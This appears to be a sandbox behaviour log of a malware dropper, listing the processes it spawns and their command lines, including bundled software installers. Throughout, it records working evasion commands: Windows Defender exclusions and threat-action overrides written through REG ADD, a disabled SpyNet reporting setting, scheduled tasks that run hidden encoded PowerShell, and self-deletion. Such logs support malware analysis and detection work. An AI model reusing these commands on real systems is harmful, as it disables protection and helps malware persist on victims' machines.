PID 1956 wrote to memory of 4608 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 1956 wrote to memory of 4608 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 4548 wrote to memory of 1416 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe

"C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe"

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"

C:\Users\Admin\Pictures\xHSuJrJS9vwhsvRTR3eTrJtk.exe

"C:\Users\Admin\Pictures\xHSuJrJS9vwhsvRTR3eTrJtk.exe"

C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe

"C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe" --silent --allusers=0

C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe

C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x2c0,0x2c4,0x2c8,0x294,0x2cc,0x6f89e1d0,0x6f89e1dc,0x6f89e1e8

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\6Hu1t4TRKcdzy4v1abT8sdrW.exe

"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\6Hu1t4TRKcdzy4v1abT8sdrW.exe" --version

C:\Users\Admin\AppData\Local\Temp\u1sg.0.exe

"C:\Users\Admin\AppData\Local\Temp\u1sg.0.exe"

C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe

"C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=0 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=1892 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240403112332" --session-guid=050039fe-c4da-415c-bdd0-e35ef15b61fe --server-tracking-blob=ZDg0NWUxMjMwNTdkM2QxNmRiNTBiYTg0MjI0MTI1M2Q0ZjViZDUzZGI5NjA4ZGZkZWY0NTcxNzQxNTk1ZjViZTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N180NTYiLCJzeXN0ZW0iOnsicGxhdGZvcm0iOnsiYXJjaCI6Ing4Nl82NCIsIm9wc3lzIjoiV2luZG93cyIsIm9wc3lzLXZlcnNpb24iOiIxMSIsInBhY2thZ2UiOiJFWEUifX0sInRpbWVzdGFtcCI6IjE3MTIxNDM0MTAuMjg1NyIsInV0bSI6eyJjYW1wYWlnbiI6Ijc2N180NTYiLCJtZWRpdW0iOiJhcGIiLCJzb3VyY2UiOiJta3QifSwidXVpZCI6IjM0ODc4Y2ZkLTZmMGYtNGUzYS1iZDNkLTJiMDQzMWQ5NGZmNSJ9 --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=FC05000000000000

C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe

C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.38 --initial-client-data=0x2b0,0x2b4,0x2b8,0x28c,0x2bc,0x6e6ae1d0,0x6e6ae1dc,0x6e6ae1e8

C:\Users\Admin\Pictures\fzjvJcnlDLmOSokrFJQkEgGJ.exe

"C:\Users\Admin\Pictures\fzjvJcnlDLmOSokrFJQkEgGJ.exe"

C:\Users\Admin\Pictures\zTyJM5hOpuGaK7i31uroEAKP.exe

"C:\Users\Admin\Pictures\zTyJM5hOpuGaK7i31uroEAKP.exe"

C:\Users\Admin\AppData\Local\Temp\u1sg.1.exe

"C:\Users\Admin\AppData\Local\Temp\u1sg.1.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2320 -ip 2320

C:\Users\Admin\AppData\Local\Temp\7zSE1B5.tmp\Install.exe

.\Install.exe /dEKGWdidYWnQ "385118" /S

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2320 -s 1156

C:\Users\Admin\AppData\Local\Temp\7zSE3A9.tmp\Install.exe

.\Install.exe /dEKGWdidYWnQ "385118" /S

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"

C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe

"C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe"

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"

C:\Windows\SysWOW64\cmd.exe

/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&

C:\Windows\SysWOW64\cmd.exe

/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32

C:\Windows\SysWOW64\cmd.exe

/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&

C:\Windows\SysWOW64\cmd.exe

/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gKJHPVqYj" /SC once /ST 08:54:12 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gKJHPVqYj" /SC once /ST 08:54:12 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gKJHPVqYj"

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gKJHPVqYj"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\gpscript.exe

gpscript.exe /RefreshSystemParam

C:\Windows\system32\gpscript.exe

gpscript.exe /RefreshSystemParam

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe

"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe"

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\assistant_installer.exe

"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\assistant_installer.exe" --version

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\assistant_installer.exe

"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.20 --initial-client-data=0x284,0x288,0x28c,0x260,0x290,0x750040,0x75004c,0x750058

C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe

"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gKJHPVqYj"

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gKJHPVqYj"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "bCAdHbOFiqtMCRhbmR" /SC once /ST 11:25:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\vBjgpUK.exe\" hl /yUsite_idMiU 385118 /S" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "bCAdHbOFiqtMCRhbmR" /SC once /ST 11:25:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\vBjgpUK.exe\" hl /yUsite_idMiU 385118 /S" /V1 /F

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\BAECFHJEBA.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2972 -ip 2972

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2972 -s 3396

C:\Users\Admin\AppData\Local\Temp\BAECFHJEBA.exe

"C:\Users\Admin\AppData\Local\Temp\BAECFHJEBA.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\BAECFHJEBA.exe

C:\Windows\SysWOW64\PING.EXE

ping 2.2.2.2 -n 1 -w 3000

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k smphost

C:\Users\Admin\Pictures\9WJ4CGLG0XVmnP5KNQnINhJF.exe

"C:\Users\Admin\Pictures\9WJ4CGLG0XVmnP5KNQnINhJF.exe"

C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\vBjgpUK.exe

C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\vBjgpUK.exe hl /yUsite_idMiU 385118 /S

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce-installer_7.14.2_vbox-6.1.20.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce-installer_7.14.2_vbox-6.1.20.exe

C:\Windows\SYSTEM32\msiexec.exe

"msiexec.exe" /qn /i VirtualBox-6.1.20-r143896.msi ADDLOCAL=VBoxApplication,VBoxPython VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 /log "C:\Users\Admin\AppData\Local\Temp\charityengine-install-vbox-log.txt"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32

C:\Windows\system32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
